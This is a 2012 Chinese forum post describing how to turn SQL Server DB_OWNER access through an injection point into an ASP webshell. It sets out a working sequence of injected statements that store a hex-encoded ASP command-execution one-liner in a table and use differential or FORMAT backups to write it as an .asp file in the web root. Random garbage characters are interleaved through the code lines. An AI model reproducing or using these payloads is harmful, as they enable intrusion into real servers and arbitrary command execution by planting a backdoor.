找回密码
 立即注册
查看: 2609|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:57:12 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
减少备份文件大小,得到可执行的webshell成功率提高不少
* E/ _, N; i  y$ q& g2 u0 G: H7 @7 j) Z
一利用差异备份  o/ G1 r% O$ u( a& D
加一个参数WITH DIFFERENTIAL
$ C# Q9 p  u, b" Y) L9 @" B7 ^) ]1 `/ S; m" j8 Z
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
; X+ D0 r9 H( _; E0 dcreate table [dbo].[xiaolu] ([cmd] [image]);  p4 v) T: F8 p. W
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
% O5 ~& h" i4 w" g7 Gdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
5 N- \) t; F! d, B/ u) P; l4 v# C7 }/ k/ o( H$ ?* ?6 K6 d
二利用完全FORMAT
+ e/ L& Q  T1 \, D, |4 m: ~+ r' {; k加一个参数WITH FROMAT
: t/ M8 a: U0 A+ v- M有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以5 ^' w0 R1 S/ _+ J

% T" H) F: ]0 |) j5 Z: p6 F4 xdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s. z& z0 U1 }+ k1 F4 v+ R
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)" G* O; a' u8 O! ]3 d1 g* l) l8 e
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT  y$ k: |  U" k: L; d5 ]: r9 r) G* \
" k4 h/ N- c9 c4 F$ j, ?
总的来说就是那么简单几句,下面以备份数据库model为例子
3 @6 R( o4 x+ ]4 @9 I; U
4 {) L' p0 F: A9 M4 z+ \( Nid=1;use model create table cmd(str image);insert into cmd(str) values (”)
1 `4 x" W8 d( h" g! }: Y3 a! H: j7 r/ d
id=1;backup database model to disk=’你的路径‘ with differential,format;–
% m8 T( d+ M' p4 t. B' F
+ W" n3 x" O5 _. ?* G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表